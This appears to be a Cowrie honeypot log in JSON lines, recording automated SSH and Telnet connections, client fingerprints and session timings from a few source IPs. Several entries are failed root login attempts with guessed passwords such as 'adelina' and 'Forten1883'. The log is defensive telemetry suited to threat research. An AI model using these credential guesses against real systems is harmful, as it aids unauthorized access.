{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:13.054960Z","src_ip":"103.172.78.219","session":"d99a62d2c1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:13.310849Z","src_ip":"103.172.78.219","session":"d99a62d2c1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:14.076679Z","src_ip":"103.172.78.219","session":"d99a62d2c1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.07722783088684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:14.255008Z","src_ip":"50.6.8.71","session":"f2862db2a6b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:15.334920Z","src_ip":"103.172.78.219","session":"d99a62d2c1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe84e4a42a1","protocol":"telnet","message":"New connection: 50.6.8.71:57552 (10.17.0.5:23) [session: abe84e4a42a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:23.189693Z"}
{"eventid":"cowrie.session.closed","duration":30.701263666152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:37.591898Z","src_ip":"50.6.8.71","session":"df7d46ca899b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.794211864471436,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:45.293587Z","src_ip":"50.6.8.71","session":"f61080830147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.518516778945923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:57:54.708117Z","src_ip":"50.6.8.71","session":"abe84e4a42a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"2852dfc1f74f","protocol":"telnet","message":"New connection: 50.6.8.71:34452 (10.17.0.5:23) [session: 2852dfc1f74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:01.862443Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34466,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68a5f200a79","protocol":"telnet","message":"New connection: 50.6.8.71:34466 (10.17.0.5:23) [session: e68a5f200a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:03.151002Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2362c59e5ce3","protocol":"telnet","message":"New connection: 50.6.8.71:44174 (10.17.0.5:23) [session: 2362c59e5ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:10.156096Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c5ec674d1c","protocol":"telnet","message":"New connection: 50.6.8.71:47078 (10.17.0.5:23) [session: f3c5ec674d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:24.295896Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47094,"dst_ip":"10.17.0.5","dst_port":23,"session":"18aa1a90f2ca","protocol":"telnet","message":"New connection: 50.6.8.71:47094 (10.17.0.5:23) [session: 18aa1a90f2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:25.676755Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56410,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb65726fda34","protocol":"telnet","message":"New connection: 50.6.8.71:56410 (10.17.0.5:23) [session: cb65726fda34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:30.761930Z"}
{"eventid":"cowrie.session.closed","duration":30.482056617736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:32.344378Z","src_ip":"50.6.8.71","session":"2852dfc1f74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60438,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cbe65c35d80","protocol":"telnet","message":"New connection: 50.6.8.71:60438 (10.17.0.5:23) [session: 3cbe65c35d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:37.291951Z"}
{"eventid":"cowrie.session.closed","duration":37.08665895462036,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:40.237526Z","src_ip":"50.6.8.71","session":"e68a5f200a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.50455665588379,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:45.660497Z","src_ip":"50.6.8.71","session":"2362c59e5ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35186,"dst_ip":"159.203.135.109","dst_port":22,"session":"942d12afe31a","protocol":"ssh","message":"New connection: 147.45.211.215:35186 (159.203.135.109:22) [session: 942d12afe31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:49.654979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:49.659390Z","src_ip":"147.45.211.215","session":"942d12afe31a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:49.827926Z","src_ip":"147.45.211.215","session":"942d12afe31a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:50.340970Z","src_ip":"147.45.211.215","session":"942d12afe31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:51.512378Z","src_ip":"147.45.211.215","session":"942d12afe31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"3806880e8b7f","protocol":"telnet","message":"New connection: 50.6.8.71:41272 (10.17.0.5:23) [session: 3806880e8b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:51.823010Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41278,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55f0b17f0b3","protocol":"telnet","message":"New connection: 50.6.8.71:41278 (10.17.0.5:23) [session: b55f0b17f0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:54.330511Z"}
{"eventid":"cowrie.session.closed","duration":32.535191774368286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:56.830994Z","src_ip":"50.6.8.71","session":"f3c5ec674d1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.648256063461304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:58:59.324904Z","src_ip":"50.6.8.71","session":"18aa1a90f2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56358,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0dc9cdb0f90","protocol":"telnet","message":"New connection: 50.6.8.71:56358 (10.17.0.5:23) [session: f0dc9cdb0f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:01.156590Z"}
{"eventid":"cowrie.session.closed","duration":32.49424433708191,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:03.256065Z","src_ip":"50.6.8.71","session":"cb65726fda34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9436469dc24","protocol":"telnet","message":"New connection: 50.6.8.71:52502 (10.17.0.5:23) [session: e9436469dc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:06.565180Z"}
{"eventid":"cowrie.session.closed","duration":35.740177392959595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:13.032026Z","src_ip":"50.6.8.71","session":"3cbe65c35d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39878,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbef02855c92","protocol":"telnet","message":"New connection: 50.6.8.71:39878 (10.17.0.5:23) [session: dbef02855c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:18.089858Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e39f22e472","protocol":"telnet","message":"New connection: 50.6.8.71:39884 (10.17.0.5:23) [session: b5e39f22e472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:19.466332Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39896,"dst_ip":"10.17.0.5","dst_port":23,"session":"05407ac35160","protocol":"telnet","message":"New connection: 50.6.8.71:39896 (10.17.0.5:23) [session: 05407ac35160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:19.594263Z"}
{"eventid":"cowrie.session.closed","duration":33.17134189605713,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:24.994207Z","src_ip":"50.6.8.71","session":"3806880e8b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56173920631409,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:32.892182Z","src_ip":"50.6.8.71","session":"b55f0b17f0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.519214868545532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:38.084285Z","src_ip":"50.6.8.71","session":"e9436469dc24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.380022048950195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:40.536516Z","src_ip":"50.6.8.71","session":"f0dc9cdb0f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.039421796798706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:55.633589Z","src_ip":"50.6.8.71","session":"05407ac35160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52907681465149,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:59:56.995283Z","src_ip":"50.6.8.71","session":"b5e39f22e472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.0178484916687,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:01.107581Z","src_ip":"50.6.8.71","session":"dbef02855c92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59686,"dst_ip":"10.17.0.5","dst_port":23,"session":"59624118d71c","protocol":"telnet","message":"New connection: 50.6.8.71:59686 (10.17.0.5:23) [session: 59624118d71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:03.159837Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59678,"dst_ip":"10.17.0.5","dst_port":23,"session":"3624ae5f0514","protocol":"telnet","message":"New connection: 50.6.8.71:59678 (10.17.0.5:23) [session: 3624ae5f0514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:03.947138Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54858,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19bcc87282c","protocol":"ssh","message":"New connection: 109.237.96.109:54858 (10.17.0.5:22) [session: b19bcc87282c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:05.718141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:05.724344Z","src_ip":"109.237.96.109","session":"b19bcc87282c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:05.822956Z","src_ip":"109.237.96.109","session":"b19bcc87282c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adelina","message":"login attempt [root/adelina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:06.107812Z","src_ip":"109.237.96.109","session":"b19bcc87282c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:07.209646Z","src_ip":"109.237.96.109","session":"b19bcc87282c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"37108d4d8c2b","protocol":"telnet","message":"New connection: 50.6.8.71:52960 (10.17.0.5:23) [session: 37108d4d8c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:07.245144Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52972,"dst_ip":"10.17.0.5","dst_port":23,"session":"abdb6dae4021","protocol":"telnet","message":"New connection: 50.6.8.71:52972 (10.17.0.5:23) [session: abdb6dae4021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:11.043250Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52988,"dst_ip":"10.17.0.5","dst_port":23,"session":"553641e56017","protocol":"telnet","message":"New connection: 50.6.8.71:52988 (10.17.0.5:23) [session: 553641e56017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:12.790951Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"0274e9944b0f","protocol":"telnet","message":"New connection: 50.6.8.71:38916 (10.17.0.5:23) [session: 0274e9944b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:17.026076Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34722,"dst_ip":"159.203.135.109","dst_port":22,"session":"abd761c800a4","protocol":"ssh","message":"New connection: 103.77.175.15:34722 (159.203.135.109:22) [session: abd761c800a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:18.640643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:18.648758Z","src_ip":"103.77.175.15","session":"abd761c800a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:18.908011Z","src_ip":"103.77.175.15","session":"abd761c800a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:19.672759Z","src_ip":"103.77.175.15","session":"abd761c800a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:20.933527Z","src_ip":"103.77.175.15","session":"abd761c800a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.20644164085388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:37.366129Z","src_ip":"50.6.8.71","session":"59624118d71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06568741798401,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:41.012700Z","src_ip":"50.6.8.71","session":"3624ae5f0514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7705192565918,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:42.015520Z","src_ip":"50.6.8.71","session":"37108d4d8c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.466835498809814,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:46.509955Z","src_ip":"50.6.8.71","session":"abdb6dae4021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.94830846786499,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:50.739135Z","src_ip":"50.6.8.71","session":"553641e56017","protocol":"telnet"}
